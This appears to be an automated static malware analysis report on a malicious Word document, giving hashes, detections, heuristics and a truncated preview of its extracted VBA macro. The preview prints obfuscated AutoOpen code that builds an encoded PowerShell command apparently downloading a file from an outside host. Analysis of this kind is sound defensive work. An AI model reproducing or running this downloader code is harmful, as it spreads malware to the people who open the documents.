Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 24ac3ea9c63c1b77…

MALICIOUS

Office (OLE)

149.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 75fc775eb462e8edd12d9bb06c2fd5be SHA-1: a143eadb9cd5dc3f2f3f3b17e5e4ff9ead5ab625 SHA-256: 24ac3ea9c63c1b77b4a5d8d1513732ef3b31092829c68e92af2230b00293b807
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document with a critical ClamAV detection for Doc.Malware.Sagent-6697295-0. It contains a VBA macro with an AutoOpen function, a common technique for executing malicious code when the document is opened. The macro's obfuscated nature and the presence of legacy WordBasic markers suggest it is designed to download and execute a secondary payload, aligning with the characteristics of a phishing attachment.

Heuristics 5

  • ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 50281 bytes
SHA-256: 80aed11717c2723e8b040d349e9cbb3721aa878248375809ead30d1c1880668a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const NybAfOaYPUkiaacJaTaMyHaQaVERi = 0
Sub AutoOpen()
On Error Resume Next
Dim rUzeWaNOVoMEvyQupePiiowAvWOtO(4)

If 12 = 12 + (10 * 0) Then
rUzeWaNOVoMEvyQupePiiowAvWOtO(0) = CLng(8634)
End If
rUzeWaNOVoMEvyQupePiiowAvWOtO(1) = Sqr(10)
rUzeWaNOVoMEvyQupePiiowAvWOtO(2) = Month(86348634)
rUzeWaNOVoMEvyQupePiiowAvWOtO(3) = Fix(8634.1)
Dim KODOCELoniWpUtTumILEXywa(4)

If 10 = 10 + (7 * 0) Then
KODOCELoniWpUtTumILEXywa(0) = CLng(524)
Dim MEQaymNIWIavZOPuSiCaJUcEsIP(4)

If 12 = 12 + (10 * 0) Then
MEQaymNIWIavZOPuSiCaJUcEsIP(0) = CLng(4487)
End If
MEQaymNIWIavZOPuSiCaJUcEsIP(1) = Sqr(10)
MEQaymNIWIavZOPuSiCaJUcEsIP(2) = Month(44874487)
MEQaymNIWIavZOPuSiCaJUcEsIP(3) = Fix(4487.1)
End If
KODOCELoniWpUtTumILEXywa(1) = Sqr(7)
Dim QiWyMMUBIxiNWOiYTeDAVErE(4)

If 10 = 10 + (2 * 0) Then
QiWyMMUBIxiNWOiYTeDAVErE(0) = CLng(1382)
End If
QiWyMMUBIxiNWOiYTeDAVErE(1) = Sqr(2)
QiWyMMUBIxiNWOiYTeDAVErE(2) = Month(13821382)
QiWyMMUBIxiNWOiYTeDAVErE(3) = Fix(1382.2)
Dim CoDuhAiORuBiibeHebeLurOBuaUaehCaRafazacuvYkESi(4)

If 12 = 12 + (4 * 0) Then
CoDuhAiORuBiibeHebeLurOBuaUaehCaRafazacuvYkESi(0) = CLng(4719)
End If
CoDuhAiORuBiibeHebeLurOBuaUaehCaRafazacuvYkESi(1) = Sqr(4)
CoDuhAiORuBiibeHebeLurOBuaUaehCaRafazacuvYkESi(2) = Month(47194719)
CoDuhAiORuBiibeHebeLurOBuaUaehCaRafazacuvYkESi(3) = Fix(4719.4)
KODOCELoniWpUtTumILEXywa(2) = Month(524524)
KODOCELoniWpUtTumILEXywa(3) = Fix(524.7)
Dim gUBIqajiXAZEWADOLaiILydxufAvyrYResilO(4)

If 13 = 13 + (7 * 0) Then
gUBIqajiXAZEWADOLaiILydxufAvyrYResilO(0) = CLng(7485)
End If
gUBIqajiXAZEWADOLaiILydxufAvyrYResilO(1) = Sqr(7)
gUBIqajiXAZEWADOLaiILydxufAvyrYResilO(2) = Month(74857485)
gUBIqajiXAZEWADOLaiILydxufAvyrYResilO(3) = Fix(7485.7)
eSIhiiUnUCEqjPuSeRaSfYTirerEkeGuLYS = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^t^A^G^8^A^c^w^B^v^A^G^s^A^c^w^B^v^A^G^E^A^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^A^B^t^A^G^E^A^b^A^B^z^A^G^s^A^c^w^B^h^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^N^A^F^g^A^R^Q^A^v^A^G^w^A^b^w^B^k^A^H^A^A^b^w^B^z^A^C^4^A^c^A^B^o^A^H^A^A^P^w^B^s^A"
Dim xianiQAbYXubEDOBIiUSIFvOQAcEnUWpoMuNa(4)

If 10 = 10 + (5 * 0) Then
xianiQAbYXubEDOBIiUSIFvOQAcEnUWpoMuNa(0) = CLng(7082)
End If
xianiQAbYXubEDOBIiUSIFvOQAcEnUWpoMuNa(1) = Sqr(5)
xianiQAbYXubEDOBIiUSIFvOQAcEnUWpoMuNa(2) = Month(70827082)
xianiQAbYXubEDOBIiUSIFvOQAcEnUWpoMuNa(3) = Fix(7082.5)
Dim YaUdehibexIrINyWQgIbYXUDAxeXyfUGIPaXi(4)

If 12 = 12 + (3 * 0) Then
YaUdehibexIrINyWQgIbYXUDAxeXyfUGIPaXi(0) = CLng(8117)
End If
YaUdehibexIrINyWQgIbYXUDAxeXyfUGIPaXi(1) = Sqr(3)
YaUdehibexIrINyWQgIbYXUDAxeXyfUGIPaXi(2) = Month(81178117)
YaUdehibexIrINyWQgIbYXUDAxeXyfUGIPaXi(3) = Fix(8117.3)

Dim joaiDYWeXumAiIbOJAbaOdyiuairEKAkpzobuY(4)
Dim BOXNaJaBAtyRasixyVuaoWEuieLApYNUpA(4)

If 12 = 12 + (2 * 0) Then
BOXNaJaBAtyRasixyVuaoWEuieLApYNUpA(0) = CLng(1104)
End If
BOXNaJaBAtyRasixyVuaoWEuieLApYNUpA(1) = Sqr(2)
BOXNaJaBAtyRasixyVuaoWEuieLApYNUpA(2) = Month(11041104)
BOXNaJaBAtyRasixyVuaoWEuieLApYNUpA(3) = Fix(1104.2)

Dim PEoQAXIbyQbyayDOiNEvuDIKih(4)

If 12 = 12 + (5 * 0) Then
PEoQAXIbyQbyayDOiNEvuDIKih(0) = CLng(3961)
End If
PEoQAXIbyQbyayDOiNEvuDIKih(1) = Sqr(5)
PEoQAXIbyQbyayDOiNEvuDIKih(2) = Month(39613961)
PEoQAXIbyQbyayDOiNEvu
... (truncated)